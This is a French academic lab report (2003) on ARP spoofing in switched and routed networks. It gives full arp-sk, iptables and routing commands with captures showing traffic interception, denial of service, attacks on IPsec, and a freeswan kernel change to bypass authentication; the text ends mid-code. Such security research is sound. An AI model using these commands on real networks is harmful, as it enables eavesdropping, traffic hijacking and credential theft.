Evaluation en environnement réel
de la mise en oeuvre
des services de sécurité
dans les architectures typiques
(application 1)
|
Jean-Jacques Puig I.N.T |
Maryline Laurent-Maknavicius
I.N.T |
-= Janvier 2003 =-
- Version 3.0 -
Introduction
ARP : la malveillance interne à portée de tous.
Cthulhu:~# arp --display --numeric --verbose Entries: 0 Skipped: 0 Found: 0
arp affiche une vue du cache du
noyau. Le cache étant vide, on prépare le système de
log :
Cthulhu:~# tcpdump -eflnptq | tee ar1.dump tcpdump: listening on eth0
[jjp@Cthulhu]~$ ping martin
Le dump permet de repérer les paquets suivants ayant trait à l'opération :
00:03:47:fb:01:fd ff:ff:ff:ff:ff:ff 42: arp who-has 157.159.100.1 tell 157.159.100.48 00:03:47:fb:01:fd ff:ff:ff:ff:ff:ff 42: arp who-has 157.159.100.81 tell 157.159.100.48 ... 00:03:47:fb:01:fd ff:ff:ff:ff:ff:ff 42: arp who-has 157.159.100.81 tell 157.159.100.48 08:00:20:76:36:4d 00:03:47:fb:01:fd 60: arp reply 157.159.100.81 is-at 8:0:20:76:36:4d ... 00:03:47:fb:01:fd 08:00:20:76:36:4d 78: 157.159.100.48.32783 > 157.159.100.81.53: udp 36 08:00:20:76:36:4d 00:03:47:fb:01:fd 214: 157.159.100.81.53 > 157.159.100.48.32783: udp 172 ... 00:03:47:fb:01:fd ff:ff:ff:ff:ff:ff 42: arp who-has 157.159.100.50 tell 157.159.100.48 00:10:5a:3d:c3:e5 00:03:47:fb:01:fd 60: arp reply 157.159.100.50 is-at 0:10:5a:3d:c3:e5 ... 00:03:47:fb:01:fd 00:10:5a:3d:c3:e5 98: 157.159.100.48 > 157.159.100.50: icmp: echo request 00:10:5a:3d:c3:e5 00:03:47:fb:01:fd 98: 157.159.100.50 > 157.159.100.48: icmp: echo reply ... 00:10:5a:3d:c3:e5 00:03:47:fb:01:fd 60: arp who-has 157.159.100.48 tell 157.159.100.50 00:03:47:fb:01:fd 00:10:5a:3d:c3:e5 42: arp reply 157.159.100.48 is-at 0:3:47:fb:1:fd
-
Les deux premières lignes se répètent un
certain nombre de fois au début des
logs : La machine locale - Cthulhu - (
00:03:47:fb:01:fd / 157.159.100.48) tente de déterminer les adresses MAC des machines157.159.100.1et157.159.100.81qui sont respectivement la passerelle par défaut et le serveur DNS. Pour ce faire, Cthulhu émet des requêtes ARP à l'adresse de broadcast Ethernetff:ff:ff:ff:ff:ff. Le réseau étant connecté après la saisie duping martin, ces requêtes sont faites ``dans le vide'' tant que la prise n'est pas rebranchée. -
Dans le deuxième couple de lignes,
Cthulhu obtient l'adresse Ethernet du
serveur de noms :
arp reply 157.159.100.81 is-at 08:00:20:76:36:4d. -
Disposant de l'adresse MAC du serveur de
nom, Cthulhu peut déterminer l'adresse
IP de martin ; c'est l'objet de
l'échange suivant (Requête DNS sur port
53) entre Cthulhu
(
00:03:47:fb:01:fd / 157.159.100.48) et le serveur de nom (08:00:20:76:36:4d / 157.159.100.81). -
A partir de l'adresse IP de martin
(
157.159.100.50) obtenue lors de la résolution DNS, Cthulhu effectue un broadcast ARP sur Ethernet, auquel martin répond pour donner son adresse MAC. -
Fort de cette dernière information,
Cthulhu peut enfin réaliser l'opération
demandée par la commande
ping martin: demande d'écho ICMP auquel martin répond. - Après plusieurs échanges ICMP couronnés de succès, martin envoie directement une requête ARP à Cthulhu, lui demandant de redonner explicitement son adresse MAC. Ce comportement peut sembler étrange, mais permet à martin de déterminer si les informations de son cache sont toujours d'actualité. Cet exemple est tout à fait classique, mais de façon générale, les comportements de ARP sont très variés suivant les implémentations et peuvent même différer pour des systèmes identiques avec des noyaux différents !
Cthulhu:~# arp --display --numeric --verbose ? (157.159.100.1) at 00:D0:03:EA:E4:00 [ether] on eth0 ? (157.159.100.81) at 08:00:20:76:36:4D [ether] on eth0 ? (157.159.100.50) at 00:10:5A:3D:C3:E5 [ether] on eth0 Entries: 3 Skipped: 0 Found: 3
- de rappeler le principe de fonctionnement de ARP,
- de prendre connaissance de commandes qui seront utilisées par la suite,
- de prouver que ARP intervient souvent plusieurs fois dans une communication : tout d'abord pour trouver le serveur DNS, puis pour trouver le correspondant.
-
de donner quelques indices de la
richesse de fonctionnement des
implémentations de ARP.
[Plu82]décrit les algorithmes de ARP en détail.
- pour effectuer les requêtes DNS itératives et/ou récursives (adresses des serveurs DNS), pour déterminer les adresses physiques des routeurs acheminant ces requêtes...
- pour déterminer les adresses physiques des routeurs acheminant le trafic,
- pour déterminer les adresses physiques des hôtes aux extrémités (client et serveur ou peers),
- pour déterminer les adresses physiques de certains équipements effectuant un traitement sur les paquets (NAT, proxy http, etc.).
ethereal écouter le réseau pendant un temps
important (en dehors des expériences menées sur ARP).
Après affichage des statistiques par protocole, ARP
représente 30.75% des paquets capturés, et 5,15% du
volume total en octets. Ces valeurs ne sont cependant
représentatives que pour le réseau du laboratoire, à un
moment donné.
0000 ff ff ff ff ff ff @Ethernet II Destination: ff:ff:ff:ff:ff:ff (broadcast) 0006 00 03 47 fb 01 fd @Ethernet II Source: 00:03:47:fb:01:fd 000C 08 06 Protocole: ARP (0x0806) 000E 00 01 Résolution pour: Ethernet (0x0001) 0010 08 00 Résolution avec: IP (0x0800) 0012 06 Taille de l'adresse matérielle: 6 octets 0013 04 Taille de l'adresse réseau: 4 octets 0014 00 01 Opération: requête (0x0001) 0016 00 03 47 fb 01 fd Adresse matérielle émetteur: 00:03:47:fb:01:fd 001C 9d 9f 64 30 Adresse réseau émetteur: 157.159.100.48 0020 00 00 00 00 00 00 Adresse matérielle destination: 00:00:00:00:00:00 (inconnue) 0026 9d 9f 64 1a Adresse réseau destination: 157.159.100.26 ... 0000 00 03 47 fb 01 fd @Ethernet II Destination: 00:03:47:fb:01:fd 0006 00 03 47 fa f8 fe @Ethernet II Source: 00:03:47:fa:f8:fe 000C 08 06 Protocole: ARP (0x0806) 000E 00 01 Résolution pour: Ethernet (0x0001) 0010 08 00 Résolution avec: IP (0x0800) 0012 06 Taille de l'adresse matérielle: 6 octets 0013 04 Taille de l'adresse réseau: 4 octets 0014 00 02 Opération: réponse (0x0002) 0016 00 03 47 fa f8 fe Adresse matérielle émetteur: 00:03:47:fa:f8:fe 001C 9d 9f 64 1a Adresse réseau émetteur: 157.159.100.26 0020 00 03 47 fb 01 fd Adresse matérielle destination: 00:03:47:fb:01:fd 0026 9d 9f 64 30 Adresse réseau destination: 157.159.100.48 002A 00 00 Trailer 002C 00 00 00 00 00 00 00 00 0034 00 00 00 00 00 00 00 00
ff:ff:ff:ff:ff:ff) qui
permet de formuler la requête.
Figure 1 - ARP sur Répéteur
Figure 2 - ARP sur Commutateur
ff:ff:ff:ff:ff:ff) a pu être observée
passivement par l'espion. Cela implique
cependant que le commutateur acceptera
d'acheminer de fausses requêtes forgées par l'espion.
Switches (plusieurs commutateurs)
Figure 3 - ARP sur un Ethernet constitué de plusieurs équipements
Figure 4 - ARP sur un Réseau IP/Ethernet (1)
192.168.1.0/24 à destination du réseau
10.0.0.0/8. En revanche, le client a dû
faire une requête pour trouver le routeur, et le
routeur a dû faire une requête pour trouver le
serveur. C'est de cette dernière requête dont
l'espion a été témoin dans notre expérience. En
déplaçant l'espion sur le réseau
192.168.1.0/24,
on observe aussi la requête du client vers le
routeur.
Figure 5 - ARP sur un Réseau IP/Ethernet (2)
192.168.1.0/24,
10.0.0.0/8 et
192.168.0.0/24,
et un attaquant peut donc au
choix attaquer :
- la connexion entre le client et le routeur 1,
- la connexion entre le routeur 1 et le routeur 2,
- la connexion entre le routeur 2 et le serveur.
- Un DNS sur le chemin de résolution du nom du serveur.
10.0.0.0/8
permet à son attaque de passer plus facilement
inaperçue.
- Les routeurs : en se faisant passer pour un routeur, le pirate peut intercepter le trafic entre le réseau interne et le réseau externe. La présence d'un proxy ou d'un firewall peut faciliter l'interception de tout le trafic.
- Les imprimantes : en interceptant les travaux d'impression, le pirate acquiert des données importantes de l'entreprise tout en restant discret. Si un serveur d'impression prend en charge les travaux, en se plaçant entre le serveur et une imprimante, le pirate intercepte de nombreuses informations. Il peut même les trier grâce au champ postscript spécifiant l'impression d'un philigramme ``document confidentiel'' !
- Les serveurs, notamment ceux de stockage ou d'hébergement des comptes utilisateurs (interception de mots de passe).
157.159.100.0/24, et désire s'intercaller
entre un client et une passerelle de sécurité
du réseau
192.168.1.0/24. Les deux réseaux sont
ici
interconnectés par des commutateurs et non par
des routeurs.
Cette situation n'est pas
surréaliste : un réseau d'entreprise peut
avoir été divisé logiquement en différents
sous-réseaux IP pour les différents
départements, tout en conservant une
architecture globale au niveau Ethernet.
Cependant, dans un tel cas, la mise en place de
VLANs serait à considérer.
Figure 6 - Contexte de la Maquette
192.168.1.2 et de la passerelle de
sécurité 192.168.1.1 :
192.168.1.0/24 sur sa
propre machine, de façon à ne pas passer par le
routeur par défaut pour atteindre ce
réseau ; de simples ping associés à
l'observation du réseau donnent alors les
informations recherchées :
Cthulhu:~# route add -net 192.168.1.0 netmask 255.255.255.0 device eth0 Cthulhu:~# route --numeric Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 157.159.100.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 0.0.0.0 157.159.100.1 0.0.0.0 UG 0 0 0 eth0 Cthulhu:~# tcpdump -eflnptq >> log & [1] 10043 Cthulhu:~# tcpdump: listening on eth0 Cthulhu:~# ping -c 1 192.168.1.1 PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. --- 192.168.1.1 ping statistics --- 1 packets transmitted, 0 received, 100% packet loss, time 0ms Cthulhu:~# ping -c 1 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. --- 192.168.1.2 ping statistics --- 1 packets transmitted, 0 received, 100% packet loss, time 0ms Cthulhu:~# fg tcpdump -eflnptq >>log 244 packets received by filter 0 packets dropped by kernel Cthulhu:~# grep "192.168.1." log 0:3:47:fb:1:fd ff:ff:ff:ff:ff:ff 42: arp who-has 192.168.1.1 tell 157.159.100.48 0:10:5a:48:1:c5 0:3:47:fb:1:fd 60: arp reply 192.168.1.1 is-at 0:10:5a:48:1:c5 0:3:47:fb:1:fd 0:10:5a:48:1:c5 98: 157.159.100.48 > 192.168.1.1: icmp: echo request (DF) 0:d0:3:ea:e4:0 0:3:47:fb:1:fd 60: arp reply 192.168.1.1 is-at 0:d0:3:ea:e4:0 0:3:47:fb:1:fd ff:ff:ff:ff:ff:ff 42: arp who-has 192.168.1.2 tell 157.159.100.48 0:b0:d0:d7:64:2b 0:3:47:fb:1:fd 60: arp reply 192.168.1.2 is-at 0:b0:d0:d7:64:2b 0:3:47:fb:1:fd 0:b0:d0:d7:64:2b 98: 157.159.100.48 > 192.168.1.2: icmp: echo request (DF) 0:d0:3:ea:e4:0 0:3:47:fb:1:fd 60: arp reply 192.168.1.2 is-at 0:d0:3:ea:e4:0
- Les lignes 1 et 5 du log nous montrent nos propres requêtes ARP
- Les lignes 2 et 6 nous apportent les informations recherchées (réponses directes aux requêtes ARP).
-
Les lignes 3 et 7 correspondent
à nos ``ping'', qui se perdent
sans réponses car les machines
du réseau
192.168.1.0/24ne savent pas router directement vers le réseau157.159.100.0/24. -
Les lignes 4 et 8 n'ont pas
d'incidences sur notre
expérience mais révèlent un
comportement intéressant du
routeur : il a pris
l'initiative de répondre aux
deux requêtes lui-aussi,
revendiquant ainsi
l'acheminement des paquets à
destination du réseau
192.168.1.0/24.
ping devrait permettre
d'éviter cette manipulation. On a choisi [arp-sk] dans le cadre de ces
expériences ; ce logiciel permet de
spécifier les éléments des trames ARP, dont les
adresses Ethernet de la trame, et les adresses
figurant dans le protocole ARP :
Cthulhu:~# tcpdump -eflntq | grep "arp reply 192.168.1.. is-at" &
[1] 10342
tcpdump: listening on eth0
Cthulhu:~# arp-sk --who-has --src 12:34:56:78:9A:BC --dst FF:FF:FF:FF:FF:FF
> --arp-src 1.2.3.4:12:34:56:78:9A:BC --arp-dst 192.168.1.1
> --count 1
+ Running mode "who-has"
+ Ifname: eth0
+ Source MAC: 12:34:56:78:9a:bc
+ Source ARP MAC: 12:34:56:78:9a:bc
+ Source ARP IP : 1.2.3.4
+ Target MAC: ff:ff:ff:ff:ff:ff
+ Target ARP MAC: 00:00:00:00:00:00
+ Target ARP IP : 192.168.1.1
--- Start classical sending ---
0:10:5a:48:1:c5 12:34:56:78:9a:bc 60: arp reply 192.168.1.1 is-at 0:10:5a:48:1:c5
TS: 12:47:19.140935
(1) To: ff:ff:ff:ff:ff:ff From: 12:34:56:78:9a:bc 0x0806
ARP Who has 192.168.1.1 (00:00:00:00:00:00) ?
Tell 1.2.3.4 (12:34:56:78:9a:bc)
--- 192.168.1.1 (00:00:00:00:00:00) statistic ---
To: ff:ff:ff:ff:ff:ff From: 12:34:56:78:9a:bc 0x0806
ARP Who has 192.168.1.1 (00:00:00:00:00:00) ?
Tell 1.2.3.4 (12:34:56:78:9a:bc)
Total time: 5 sec
Cthulhu:~# arp-sk --who-has --src 12:34:56:78:9A:BC --dst FF:FF:FF:FF:FF:FF
> --arp-src 1.2.3.4:12:34:56:78:9A:BC --arp-dst 192.168.1.2
> --count 1
+ Running mode "who-has"
+ Ifname: eth0
+ Source MAC: 12:34:56:78:9a:bc
+ Source ARP MAC: 12:34:56:78:9a:bc
+ Source ARP IP : 1.2.3.4
+ Target MAC: ff:ff:ff:ff:ff:ff
+ Target ARP MAC: 00:00:00:00:00:00
+ Target ARP IP : 192.168.1.2
--- Start classical sending ---
0:b0:d0:d7:64:2b 12:34:56:78:9a:bc 60: arp reply 192.168.1.2 is-at 0:b0:d0:d7:64:2b
TS: 12:48:04.582291
(1) To: ff:ff:ff:ff:ff:ff From: 12:34:56:78:9a:bc 0x0806
ARP Who has 192.168.1.2 (00:00:00:00:00:00) ?
Tell 1.2.3.4 (12:34:56:78:9a:bc)
--- 192.168.1.2 (00:00:00:00:00:00) statistic ---
To: ff:ff:ff:ff:ff:ff From: 12:34:56:78:9a:bc 0x0806
ARP Who has 192.168.1.2 (00:00:00:00:00:00) ?
Tell 1.2.3.4 (12:34:56:78:9a:bc)
Total time: 5 sec
1.2.3.4, @MAC : 12:34:56:78:9A:BC),
ce qui pourrait poser un problème pour
récupérer les réponses ARP. En réalité, dès que
la requête traverse le commutateur, ce dernier
enregistre l'adresse MAC de l'émetteur et
l'associe au port de réception, au sein d'une
table de commutation, appelée ``CAM'' ;
certains commutateurs sont configurés pour
bloquer le port dans une telle situation.
Une méthode plus discrète aurait été d'usurper
l'adresse MAC d'une machine située sur le même
port du commutateur que l'attaquant.
192.168.1.2 est cliente
http du serveur 192.168.1.3. La Figure 7
donne une description de la maquette :
Figure 7 - Usurpation d'Identité avec ARP
Cthulhu:~# route add -net 192.168.1.0 netmask 255.255.255.0 device eth0 Cthulhu:~# route --numeric Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 157.159.100.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 0.0.0.0 157.159.100.1 0.0.0.0 UG 0 0 0 eth0
netfilter du noyau 2.4). La
manipulation des tables de translation
d'adresses
peut alors être menée depuis l'espace
utilisateur via sysctl, à l'aide de
l'utilitaire
iptables. La règle suivante spécifie que
les paquets issus de 192.168.1.2, à
destination de 192.168.1.3, utilisant le
protocole tcp à destination du port
80 auront leur destination ``translatée''
vers l'adresse 157.159.100.48.
Cthulhu:~# iptables --table nat --append PREROUTING > --source 192.168.1.2 --destination 192.168.1.3 > --protocol tcp --destination-port 80 > --jump DNAT --to-destination 157.159.100.48 Cthulhu:~# iptables --table nat --list Chain PREROUTING (policy ACCEPT) target prot opt source destination DNAT tcp -- 192.168.1.2 192.168.1.3 tcp dpt:www to:157.159.100.48 Chain POSTROUTING (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination
Cthulhu:~# echo 1 > /proc/sys/net/ipv4/ip_forward
00:03:47:fb:01:fd est l'adresse MAC du
pirate) :
Cthulhu:~# arp-sk --reply --dst "00:b0:d0:d7:64:2b"
> --arp-src 192.168.1.3:00:03:47:fb:01:fd --arp-dst 192.168.1.2:00:b0:d0:d7:64:2b
> --rand-time --beep
+ Running mode "reply"
+ Ifname: eth0
+ Source MAC: 00:03:47:fb:01:fd
+ Source ARP MAC: 00:03:47:fb:01:fd
+ Source ARP IP : 192.168.1.3
+ Target MAC: 00:b0:d0:d7:64:2b
+ Target ARP MAC: 00:b0:d0:d7:64:2b
+ Target ARP IP : 192.168.1.2
--- Start classical sending ---
TS: 11:41:26.544135
To: 00:b0:d0:d7:64:2b From: 00:03:47:fb:01:fd 0x0806
ARP For 192.168.1.2 (00:b0:d0:d7:64:2b):
192.168.1.3 is at 00:03:47:fb:01:fd
...
...
arp
--display --numeric --verbose).
SYN/ACK TCP.
Destination_Unreachable).
Cthulhu:~# arp-sk --reply --rand-hwa-src --dst "00:b0:d0:d7:64:2b"
> --arp-src 192.168.1.3 --rand-arp-hwa-src --arp-dst 192.168.1.2:00:b0:d0:d7:64:2b
> --rand-time --beep
+ Running mode "reply"
+ Ifname: eth0
+ Source MAC: 27:5b:7c:7e:d1:24
+ Source ARP MAC: 63:ef:ed:ef:75:6c
+ Source ARP IP : 192.168.1.3
+ Target MAC: 00:b0:d0:d7:64:2b
+ Target ARP MAC: 00:b0:d0:d7:64:2b
+ Target ARP IP : 192.168.1.2
--- Start sending with random data ---
TS: 12:22:04.193465
To: 00:b0:d0:d7:64:2b From: 27:5b:7c:7e:d1:24 0x0806
ARP For 192.168.1.2 (00:b0:d0:d7:64:2b):
192.168.1.3 is at 63:ef:ed:ef:75:6c
TS: 12:22:09.201928
To: 00:b0:d0:d7:64:2b From: 7e:bf:17:11:76:58 0x0806
ARP For 192.168.1.2 (00:b0:d0:d7:64:2b):
192.168.1.3 is at 89:62:b9:74:a1:9b
...
...
Cthulhu:~# route add -net 192.168.1.0 netmask 255.255.255.0 device eth0 Cthulhu:~# route --numeric Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 157.159.100.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 0.0.0.0 157.159.100.1 0.0.0.0 UG 0 0 0 eth0 Cthulhu:~# iptables --table nat --list Chain PREROUTING (policy ACCEPT) target prot opt source destination Chain POSTROUTING (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Cthulhu:/home/jjp# iptables --list Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Cthulhu:~# echo 1 > /proc/sys/net/ipv4/ip_forward
Cthulhu:~# tethereal -lV -n >> ar2.dump &
tcpdump: listening on eth0
Cthulhu:~# arp-sk --reply --dst "00:10:5a:48:01:c5"
> --arp-src 192.168.1.2:00:03:47:fb:01:fd --arp-dst 192.168.1.3:00:10:5a:48:01:c5
> --rand-time --beep &
Cthulhu:~# arp-sk --reply --dst "00:b0:d0:d7:64:2b"
> --arp-src 192.168.1.3:00:03:47:fb:01:fd --arp-dst 192.168.1.2:00:b0:d0:d7:64:2b
> --rand-time --beep &
Cthulhu:~# grep --before-context=52 --after-context=19 "HTTP/1.1" ar2.dump
(doublons supprimés)
Frame 66 (478 on wire, 478 captured)
Arrival Time: Dec 12, 2002 14:28:27.288461000
Time delta from previous packet: 0.000008000 seconds
Time relative to first packet: 29.794957000 seconds
Frame Number: 66
Packet Length: 478 bytes
Capture Length: 478 bytes
Ethernet II
Destination: 00:10:5a:48:01:c5 (00:10:5a:48:01:c5)
Source: 00:03:47:fb:01:fd (00:03:47:fb:01:fd)
Type: IP (0x0800)
Internet Protocol, Src Addr: 192.168.1.2 (192.168.1.2), Dst Addr: 192.168.1.3 (192.168.1.3)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 464
Identification: 0x5eea
Flags: 0x04
.1.. = Don't fragment: Set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 63
Protocol: TCP (0x06)
Header checksum: 0x57ea (correct)
Source: 192.168.1.2 (192.168.1.2)
Destination: 192.168.1.3 (192.168.1.3)
Transmission Control Protocol, Src Port: 1036 (1036), Dst Port: 80 (80), Seq: 2880001451,
> Ack: 3167358686, Len: 412
Source port: 1036 (1036)
Destination port: 80 (80)
Sequence number: 2880001451
Next sequence number: 2880001863
Acknowledgement number: 3167358686
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
0... .... = Congestion Window Reduced (CWR): Not set
.0.. .... = ECN-Echo: Not set
..0. .... = Urgent: Not set
...1 .... = Acknowledgment: Set
.... 1... = Push: Set
.... .0.. = Reset: Not set
.... ..0. = Syn: Not set
.... ...0 = Fin: Not set
Window size: 5840
Checksum: 0x4eae (correct)
Options: (12 bytes)
NOP
NOP
Time stamp: tsval 18025282, tsecr 18025713
Hypertext Transfer Protocol
GET / HTTP/1.1\r\n
Host: 192.168.1.3\r\n
User-Agent: Links (0.1; Linux 2.4.20 i686)\r\n
Accept: */*\r\n
Accept-Charset: us-ascii, ISO-8859-1, ISO-8859-2, ISO-8859-4, ISO-8895-5, ISO-8859-7,
> ISO-8895-9, ISO-8859-13, ISO-8859-15, ISO-8859-16, windows-1250, windows-1251,
> windows-1257, cp437, cp737, cp850, cp852, cp866, x-cp866-u, x-mac, x-mac-c
Connection: Keep-Alive\r\n
\r\n
Frame 71 (471 on wire, 471 captured)
Arrival Time: Dec 12, 2002 14:28:27.325122000
Time delta from previous packet: 0.000024000 seconds
Time relative to first packet: 29.831618000 seconds
Frame Number: 71
Packet Length: 471 bytes
Capture Length: 471 bytes
Ethernet II
Destination: 00:b0:d0:d7:64:2b (00:b0:d0:d7:64:2b)
Source: 00:03:47:fb:01:fd (00:03:47:fb:01:fd)
Type: IP (0x0800)
Internet Protocol, Src Addr: 192.168.1.3 (192.168.1.3), Dst Addr: 192.168.1.2 (192.168.1.2)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 457
Identification: 0x0230
Flags: 0x04
.1.. = Don't fragment: Set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 63
Protocol: TCP (0x06)
Header checksum: 0xb4ab (correct)
Source: 192.168.1.3 (192.168.1.3)
Destination: 192.168.1.2 (192.168.1.2)
Transmission Control Protocol, Src Port: 80 (80), Dst Port: 1036 (1036), Seq: 3167358686,
> Ack: 2880001863, Len: 405
Source port: 80 (80)
Destination port: 1036 (1036)
Sequence number: 3167358686
Next sequence number: 3167359091
Acknowledgement number: 2880001863
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
0... .... = Congestion Window Reduced (CWR): Not set
.0.. .... = ECN-Echo: Not set
..0. .... = Urgent: Not set
...1 .... = Acknowledgment: Set
.... 1... = Push: Set
.... .0.. = Reset: Not set
.... ..0. = Syn: Not set
.... ...0 = Fin: Not set
Window size: 6432
Checksum: 0xcaee (correct)
Options: (12 bytes)
NOP
NOP
Time stamp: tsval 18025717, tsecr 18025282
Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n
Date: Thu, 12 Dec 2002 13:30:21 GMT\r\n
Server: Apache/1.3.26 (Unix) Debian GNU/Linux\r\n
Last-Modified: Wed, 11 Dec 2002 12:28:17 GMT\r\n
ETag: "264dd-55-3df72f61"\r\n
Accept-Ranges: bytes\r\n
Content-Length: 85\r\n
Keep-Alive: timeout=15, max=100\r\n
Connection: Keep-Alive\r\n
Content-Type: text/html; charset=iso-8859-1\r\n
\r\n
Data (85 bytes)
0000 3c 68 74 6d 6c 3e 0a 3c 62 6f 64 79 3e 0a 09 3c <html>.<body>..<
0010 63 65 6e 74 65 72 3e 3c 68 31 3e 57 65 6c 63 6f center><h1>Welco
0020 6d 65 20 6f 6e 20 4e 79 61 72 6c 61 74 68 6f 74 me on Nyarlathot
0030 65 70 20 21 21 21 3c 2f 68 31 3e 3c 2f 63 65 6e ep !!!</h1></cen
0040 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 ter>.</body>.</h
0050 74 6d 6c 3e 0a tml>.
Usurpation de la passerelle de sécurité
Figure 8 - Usurpation de la Passerelle
Cthulhu:~# arp-sk --reply --dst "00:b0:d0:d7:64:2b" > --arp-dst 192.168.1.2:00:b0:d0:d7:64:2b --arp-src 192.168.1.1:00:03:47:fb:01:fd > --rand-time --beep
- Le déni de service, mené de la même façon que précédemment, a été couronné de succès sur cette maquette.
-
Les usurpations de la passerelle de
sécurité au niveau ARP, et du
serveur web
192.168.0.2au niveau IP, ont aussi parfaitement fonctionné, à l'aide de la règle de translation d'adresse suivante :
Cthulhu:~# iptables --table nat -append PREROUTING > --source 192.168.1.2 --destination 192.168.0.2 > --protocol tcp --destination-port 80 > --jump DNAT --to-destination 157.159.100.48 Cthulhu:/home/jjp# iptables --table nat --list Chain PREROUTING (policy ACCEPT) target prot opt source destination DNAT tcp -- 192.168.1.2 192.168.0.2 tcp dpt:www to:157.159.100.48 Chain POSTROUTING (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Cthulhu:/home/jjp# echo 1 > /proc/sys/net/ipv4/ip_forward
- L'interception d'informations se déroule comme précédemment, i.e. en se faisant passer pour la passerelle vis-à-vis du client, et pour le client vis-à-vis de la passerelle. Le routage se complique cependant, puisque le serveur web final n'est plus sur le réseau local. Le pirate doit donc rajouter une route pour permettre à sa machine d'assurer l'acheminement :
Cthulhu:/home/jjp# route add -net 192.168.0.0 netmask 255.255.255.0 gateway 192.168.1.1 Cthulhu:/home/jjp# route --numeric Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 192.168.0.0 192.168.1.1 255.255.255.0 UG 0 0 0 eth0 157.159.100.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 0.0.0.0 157.159.100.1 0.0.0.0 UG 0 0 0 eth0
Attaque d'une connexion sécurisée
Figure 9 - Attaques contre AH ou ESP
- le déni de service a pu être mené avec succès,
- l'interception des paquets a permis une collecte des données en vue d'un déchiffrement offline,
- l'envoi de réponses ESP contenant des données alétoires en vue d'obtenir des réactions imprévisibles de la couche transport n'a pu être mené à bien.
- le déni de service,
- l'espionnage de la communication.
- des dénis de service,
- de la collecte de données pour une analyse ultérieure.
[freeswan]
ne permet pas l'utilisation de IKE sans
authentification des parties. Par conséquent,
les attaques menées avec ARP contre IKE
aboutissent aux même conclusions que
ci-dessus :
- déni de service (SA pour IKE non établie),
-
observation de la
négociation
par le pirate. Ses capacités
d'altérations (sans être
détecté) sont limitées,
mais ne sont pas
inexistantes : cf. §5.3 de
[FS99].
[HC98]).
Par conséquent, il n'y a pas lieu de développer
plus ce point.
- un déni de service est toujours possible,
- l'espionnage n'est possible que si l'authentification seule est utilisée,
- la collecte de données est toujours possible,
- l'usurpation d'identité n'est possible qu'avec du chiffrement seul. Dans ce cas, l'attaque est particulièrement difficile à réussir en mode transport, et extrêment difficile en mode tunnel. L'intérêt d'une telle attaque (dans un contexte réel) n'est pas évident / prévisible.
Attaque contre les Politiques de Sécurité
inbound_spd'' (cf. §4.4 et §5.2 de
[KA98]).
Figure 10 - Contournement des Politiques de Sécurité (1)
157.159.100.76, et n'appartient donc
pas au même sous-réseau que la maquette. Après
avoir lancé un serveur web sur cette machine
[apache], on effectue les opérations
suivantes de routage et de translation
d'adresse :
Roue:~# route add -net 192.168.1.0 netmask 255.255.255.0 device eth0 Roue:~# iptables --table nat --append PREROUTING > --source 192.168.1.2 --destination 192.168.0.2 > --protocol tcp --destination-port 80 > --jump DNAT --to-destination 157.159.100.76 Roue:~# echo 1 > /proc/sys/net/ipv4/ip_forward
Linux (les machines
pirates sont des Linux/Debian). En réalité, la
méthode la plus simple est d'utiliser
[freeswan], l'implémentation IPsec de
Linux. Malheureusement, même si la
fonctionnalité est présente dans les sources de
[freeswan], il n'est pas possible de
préciser au module IPsec d'ignorer
l'authentification des paquets pour lesquels
seul le service d'authentification est utilisé,
depuis l'espace utilisateur. Cette absurdité
dans l'utilisation de sysctl est sans
doute le fait d'une recommandation dans un RFC,
précisant qu'il ne doit pas être possible pour
IPsec d'accepter des paquets non chiffrés et
simultanément d'ignorer leur authentification.
Par conséquent, entre modifier la commande
espace utilisateur - ipsec spi - et
modifier les sources du module noyau, un choix
doit être fait. Cela peut sembler curieux, mais
il est en l'occurence plus simple de modifier le
module noyau que de se pencher sur les
interfaces accessibles par sysctl.
-
Un développeur rompu aux
pratiques de l'implémentation
des protocoles du noyau
recherchera directement dans le
fichier
ipsec_rcv.cet jettera un oeil sur les constantes liées à l'authentification ou cherchera desmemcmp. - Un nouveau venu lancera le module IPsec en mode debug et enverra à la machine des paquets avec une mauvaise valeur d'authentification. Un message est alors affiché, indiquant le fichier source émetteur de l'erreur.
[freeswan]. Les
versions ultérieures et antérieures devraient
être facilement modifiables selon le même
principe.
if (memcmp(irs->hash, authenticator, irs->authlen)) {
// Si erreur d'authentification
irs->ipsp->ips_errs.ips_auth_errs += 1;
KLIPS_PRINT(debug_rcv & DB_RX_INAU,
"klips_debug:ipsec_rcv: "
"AUTH FAILED - PACKET FROM %s: TRANSMITTED ON PURPOSE\n",
